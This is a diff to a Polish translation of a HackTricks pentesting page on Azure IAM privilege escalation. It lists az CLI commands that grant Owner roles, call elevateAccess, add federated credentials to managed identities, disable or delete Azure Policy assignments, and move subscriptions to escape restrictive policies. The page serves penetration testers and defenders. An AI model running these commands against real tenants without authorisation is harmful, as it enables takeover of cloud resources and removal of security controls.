diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index d6ab04c46..4273c56b3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -1,10 +1,10 @@ -# Az - Azure IAM Privesc (Authorization) +# Az - Azure IAM Privesc (Autoryzacja) {{#include ../../../banners/hacktricks-training.md}} ## Azure IAM -Aby uzyskać więcej informacji, sprawdź: +Aby uzyskać więcej informacji, zobacz: {{#ref}} ../az-services/az-azuread.md @@ -12,14 +12,14 @@ Aby uzyskać więcej informacji, sprawdź: ### Microsoft.Authorization/roleAssignments/write -To uprawnienie pozwala na przypisywanie ról do podmiotów w określonym zakresie, co umożliwia atakującemu eskalację uprawnień poprzez przypisanie sobie bardziej uprzywilejowanej roli: +To uprawnienie pozwala przypisywać role principalom w określonym zakresie, umożliwiając atakującemu eskalację uprawnień poprzez przypisanie sobie roli o wyższych uprawnieniach: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` ### Microsoft.Authorization/roleDefinitions/Write -To uprawnienie pozwala na modyfikację uprawnień przyznanych przez rolę, co umożliwia atakującemu eskalację uprawnień poprzez przyznanie większych uprawnień roli, którą przypisał. +To uprawnienie pozwala modyfikować prawa przypisane do roli, co umożliwia atakującemu eskalację uprawnień przez przyznanie tej roli dodatkowych uprawnień. Utwórz plik `role.json` z następującą **zawartością**: ```json @@ -36,16 +36,16 @@ Utwórz plik `role.json` z następującą **zawartością**: "id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/", } ``` -Następnie zaktualizuj uprawnienia roli zgodnie z poprzednią definicją, wywołując: +Następnie zaktualizuj uprawnienia roli, używając poprzedniej definicji, wywołując: ```bash az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -To uprawnienie pozwala na podniesienie uprawnień i możliwość przypisywania uprawnień do dowolnego podmiotu do zasobów Azure. Jest przeznaczone dla Globalnych Administratorów Entra ID, aby mogli również zarządzać uprawnieniami do zasobów Azure. +To uprawnienie pozwala na eskalację uprawnień i przypisywanie uprawnień dowolnemu principalowi w zasobach Azure. Ma być nadawane Entra ID Global Administrators, aby mogli również zarządzać uprawnieniami do zasobów Azure. > [!TIP] -> Uważam, że użytkownik musi być Globalnym Administratorem w Entra ID, aby wywołanie podniesienia działało. +> Myślę, że użytkownik musi być Global Administrator w Entra ID, aby wywołanie elevate zadziałało. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +55,9 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -To uprawnienie pozwala na dodanie poświadczeń federacyjnych do zarządzanych tożsamości. Np. przyznanie dostępu do Github Actions w repozytorium dla zarządzanej tożsamości. Następnie pozwala na **dostęp do dowolnej zdefiniowanej przez użytkownika zarządzanej tożsamości**. +To uprawnienie pozwala dodawać Federated credentials do managed identities. Np. przyznać Github Actions w repo dostęp do managed identity. Następnie umożliwia to **uzyskanie dostępu do dowolnej zdefiniowanej przez użytkownika managed identity**. -Przykładowa komenda, aby przyznać dostęp do repozytorium w Github dla zarządzanej tożsamości: +Przykładowe polecenie, aby przyznać repo w Github dostęp do managed identity: ```bash # Generic example: az rest --method PUT \ @@ -71,4 +71,94 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete + +Atakujący posiadający uprawnienie `Microsoft.Authorization/policyAssignments/write` lub `Microsoft.Authorization/policyAssignments/delete` nad grupą zarządzania, subskrypcją lub grupą zasobów może **zmodyfikować lub usunąć przypisania zasad w Azure**, co może potencjalnie **wyłączyć ograniczenia bezpieczeństwa**, które blokują określone operacje. + +Pozwala to uzyskać dostęp do zasobów lub funkcji, które wcześniej były chronione przez zasady. + +**Usuń przypisanie zasad:** +```bash +az policy assignment delete \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +**Wyłącz przypisanie zasad:** +```bash +az policy assignment update \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" \ +--enforcement-mode Disabled +``` +**Zweryfikuj zmiany:** +```bash +# List policy assignments +az policy assignment list \ +--scope "/providers/Microsoft.Management/managementGroups/" + +# Show specific policy assignment details +az policy assignment show \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +### Microsoft.Authorization/policyDefinitions/write + +Atakujący posiadający uprawnienie `Microsoft.Authorization/policyDefinitions/write` może **modyfikować definicje polityk Azure**, zmieniając reguły, które kontrolują ograniczenia bezpieczeństwa w całym środowisku. + +Na przykład polityka ograniczająca dozwolone regiony tworzenia zasobów może zostać zmieniona tak, aby zezwalać na dowolny region, albo efekt polityki może zostać zmieniony, aby uczynić ją nieskuteczną. + +**Modyfikacja definicji polityki:** +```bash +az policy definition update \ +--name "" \ +--rules @updated-policy-rules.json +``` +**Zweryfikuj zmiany:** +```bash +az policy definition list --output table + +az policy definition show --name "" +``` +### Microsoft.Management/managementGroups/write + +Atakujący z uprawnieniem `Microsoft.Management/managementGroups/write` może **zmodyfikować hierarchiczną strukturę management groups** lub **utworzyć nowe management groups**, potencjalnie omijając restrykcyjne polityki zastosowane na wyższych poziomach. + +Na przykład atakujący może utworzyć nowy management group bez restrykcyjnych polityk, a następnie przenieść do niego subscriptions. + +**Utwórz nowy management group:** +```bash +az account management-group create \ +--name "yourMGname" \ +--display-name "yourMGDisplayName" +``` +**Modyfikacja hierarchii grup zarządzania:** +```bash +az account management-group update \ +--name "" \ +--parent "/providers/Microsoft.Management/managementGroups/" +``` +**Zweryfikuj zmiany:** +```bash +az account management-group list --output table + +az account management-group show \ +--name "" \ +--expand +``` +### Microsoft.Management/managementGroups/subscriptions/write + +Atakujący z uprawnieniem `Microsoft.Management/managementGroups/subscriptions/write` może **przenosić subskrypcje pomiędzy management groups**, co pozwala mu potencjalnie **omijać restrykcyjne polityki** poprzez przeniesienie subskrypcji do grupy o mniej restrykcyjnych lub braku polityk. + +**Przenieś subskrypcję do innej management group:** +```bash +az account management-group subscription add \ +--name "" \ +--subscription "" +``` +**Zweryfikuj zmiany:** +```bash +az account management-group subscription show \ +--name "" \ +--subscription "" +``` {{#include ../../../banners/hacktricks-training.md}}